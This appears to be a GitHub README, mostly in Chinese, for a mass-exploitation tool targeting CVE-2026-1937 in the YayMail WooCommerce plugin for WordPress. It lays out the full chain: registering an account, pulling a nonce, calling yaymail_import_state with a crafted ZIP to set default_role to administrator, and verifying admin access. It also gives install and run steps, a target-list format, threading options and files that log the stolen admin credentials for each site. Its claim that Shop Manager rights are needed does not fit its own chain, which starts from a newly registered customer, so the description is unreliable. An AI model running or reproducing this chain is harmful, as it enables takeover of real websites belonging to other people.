Nxploited/CVE-2026-1937

GitHub: Nxploited/CVE-2026-1937

针对 YayMail 插件权限提升漏洞的自动化 PoC 利用工具,实现从注册到管理员权限获取的全链路攻击。

Stars: 0 | Forks: 0

Typing SVG

## 🔴 漏洞概述 ### CVE-2026-1937 — 缺少授权 → 任意选项更新 → 权限提升 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-1937 | | **严重性** | **高危** — CVSS v3.1 分数: **7.2** | | **攻击向量** | `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` | | **CNA** | Wordfence | | **研究员** | Daniel Basta (whizzu) — NASK PIB | | **公开披露** | 2026年2月17日 | | **最后更新** | 2026年3月27日 | | **受影响软件** | YayMail – WooCommerce Email Customizer(WordPress 插件) | | **受影响版本** | 所有版本直至 **4.3.2** | | **漏洞类型** | 缺少授权 → 未授权任意选项更新 → 权限提升 | | **所需认证** | 是 — **Shop Manager** 级别或以上 | | **CWE** | CWE-862: 缺少授权 | **描述:** WordPress 的 **YayMail – WooCommerce Email Customizer** 插件在所有直至 **4.3.2** 的版本中存在漏洞,可能导致未经授权的数据修改进而引发权限提升。`yaymail_import_state` AJAX 动作未在服务端进行能力检查,允许具有 **Shop Manager** 级别权限的攻击者自由调用。通过上传精心制作的 ZIP 导入文件,攻击者可静默覆盖任意 WordPress 站点选项 — 包括将**默认新用户注册角色设为 `administrator`** 并**启用公开注册**。一旦这些选项被注入,任何访问者都可在站点上自我注册并获得完整的 **WordPress 管理员** 账户,导致整个站点完全沦陷。 ## 🛠️ 工具描述 这是一个针对运行 **YayMail** 插件易受攻击版本的 **WordPress + WooCommerce** 安装环境的 **概念验证(PoC)大规模利用链**。该工具实现了完整的端到端攻击流程:WooCommerce 注册 → 登录 → YayMail 随机数提取 → `yaymail_import_state` 利用 → 管理员验证。 ### 🔗 完整攻击链 ``` [Phase 1 — Registration] GET /my-account/ → Extract WooCommerce register nonce POST /my-account/ → Register new account (WooCommerce form) → Save credentials to reg.txt ↓ [Phase 2 — Login] POST /wp-login.php → Try WordPress native login POST /my-account/ (WooC.) → Fallback WooCommerce login → Establish authenticated session ↓ [Phase 3 — Admin Pre-check] GET /wp-admin/ → If already admin, skip to result ↓ [Phase 4 — YayMail Exploit] GET /wp-admin/admin.php?page=yaymail-settings → Extract: ajax_url + nonce POST /wp-admin/admin-ajax.php action=yaymail_import_state nonce= import_file=yaymail_backup.zip → Override WordPress options: · default_role = administrator · users_can_register = 1 ↓ [Phase 5 — Admin Verification] GET /wp-admin/ → Check adminmenu / wp-admin-bar GET /wp-admin/users.php → Confirm manage_options access ↓ [Save to Nx_admin.txt] Format: [timestamp] https://target.com user: pass:

``` ## 📋 系统要求 ### 系统需求 - Python **3.8** 或更高版本 - Linux / Windows / macOS - `yaymail_backup.zip` — 精心制作的导入载荷文件(**必需**) ### Python 依赖 ``` pip install requests urllib3 rich ``` 或通过依赖文件安装: ``` pip install -r requirements.txt ``` **`requirements.txt`:** ``` requests>=2.28.0 urllib3>=1.26.0 rich>=13.0.0 ``` ## 🚀 安装 ``` # 克隆仓库 git clone https://github.com/Nxploited/CVE-2026-1937.git cd CVE-2026-1937 # 安装依赖 pip install -r requirements.txt # 将精心制作的导入有效载荷放在同一目录中 cp /path/to/yaymail_backup.zip . # 运行工具 python3 CVE-2026-1937.py ``` ## ⚙️ 使用方法 ### 基础运行 ``` python3 CVE-2026-1937.py ``` 该工具使用由 **Rich** 驱动的完整交互式终端界面。 ### 🗂️ 目标列表格式 创建一个纯文本文件(默认:`list.txt`),每行一个目标: ``` https://target1.com https://target2.com http://target3.com target4.com ``` ### 🖥️ 交互式提示 ``` Username [Nx_admin]: Nx_admin Password [Nx_adminSA]: Nx_adminSA Email [Nx_admin@admin.sa]: Nx_admin@admin.sa Targets file [list.txt]: list.txt Threads [3]: 5 HTTP timeout (seconds) [10]: 10 ``` ## 📦 载荷文件 — `yaymail_backup.zip` 该利用需要一个 **精心制作的 YayMail 导入 ZIP 文件**,在导入时可覆盖以下 WordPress 选项: | WordPress 选项 | 注入值 | |---|---| | `default_role` | `administrator` | | `users_can_register` | `1` | ## 🔬 易受攻击的 AJAX 端点 ``` POST /wp-admin/admin-ajax.php ``` ``` action=yaymail_import_state nonce= import_file=yaymail_backup.zip (multipart upload) ``` **根本原因:** `yaymail_import_state` 处理程序在处理导入前未调用 `current_user_can()` 或任何等效的能力检查。持有 `shop_manager` 角色(或更高权限)的任何用户均可自由调用此动作,并通过 ZIP 导入机制覆盖 `wp_options` 表中的任意条目。 ## 🔍 探测的 WooCommerce 页面 该工具会自动扫描以下路径以查找注册和登录表单: ``` /my-account/ /my_account/ /My-account/ /account/ /myaccount/ /customer-login/ /login/ /register/ /sss/ ``` ## 📁 输出文件 | 文件 | 描述 | |---|---| | `reg.txt` | 所有成功的 WooCommerce 注册及其凭证 | | `Nx_admin.txt` | 所有已确认的管理员权限提升记录 | ### ✅ 输出格式 **`reg.txt`:** ``` [2026-03-01 14:22:10] https://target.com user:Nx_admin email:Nx_admin@admin.sa pass:Nx_adminSA ``` **`Nx_admin.txt`:** ``` [2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import ``` ## 🖥️ 终端输出示例 ``` ╔══════════════════════════════════════════════════════════════════╗ ║ WooCommerce · YayMail · Mass Exploit Chain ║ ║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║ ╚══════════════════════════════════════════════════════════════════╝ [SCAN] https://target.com [REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA [LOGIN-WP] https://target.com :: wp-login.php [SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain [NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5 [EXPLOIT] https://target.com :: nonce: a1b2c3d4e5 [SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA ┌──────────────────────────────────────���───────────────────────────────────┐ │ Target │ Status │ Credentials / Note │ ├──────────────────────────────────────────────────────────────────────────┤ │ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │ │ https://target2.com │ NO-REGISTER │ │ │ https://target3.com │ DEAD │ │ └──────────────────────────────────────────────────────────────────────────┘ ``` ## 📊 状态码参考 | 状态 | 颜色 | 含义 | |---|---|---| | `EXPLOITED (ADMIN VERIFIED)` | 🟢 绿色 | 完整链成功 — 已确认管理员 | | `EXPLOITED (ADMIN)` | 🟢 绿色 | 注册用户已是管理员 | | `PARTIAL` | 🟡 黄色 | YayMail 导入成功但未确认管理员权限 | | `REGISTERED` | 🟡 黄色 | WooCommerce 注册成功 | | `LOGIN-WP` | 🔵 青色 | 通过 `/wp-login.php` 登录 | | `LOGIN-WOO` | 🔵 青色 | 通过 WooCommerce 表单登录 | | `NONCE-FOUND` | 🟣 洋红 | 成功提取 YayMail 随机数 | | `NO-REGISTER` | ⚫ 深色 | 未找到 WooCommerce 注册表单 | | `LOGIN-FAILED` | ⚫ 深色 | 无法建立认证会话 | | `NONCE-NOT-FOUND` | ⚫ 深色 | 无法访问 YayMail 设置页面或缺少随机数 | | `EXPLOIT-FAILED` | 🔴 红色 | `yaymail_import_state` 调用未返回成功 | | `TIMEOUT` | ⚫ 深色 | HTTP 超时 | | `DEAD` | ⚫ 深色 | 连接被拒绝 / 无法到达 | | `ERROR` | 🔴 红色 | 意外异常 | ## 📡 联系与作者 ## ⚠️ 法律免责声明

© 2026 Nxploited (Khaled Alenazi) — 仅限授权安全研究使用。

标签:CVE-2026-1937, CVSS 7.2, Privilege Escalation, Shop Manager, WooCommerce, WordPress安全, WordPress插件, YayMail, 任意选项更新, 威胁模拟, 安全漏洞, 插件漏洞, 操作系统监控, 文件完整性监控, 未授权访问, 权限绕过, 认证缺失, 逆向工具, 高危漏洞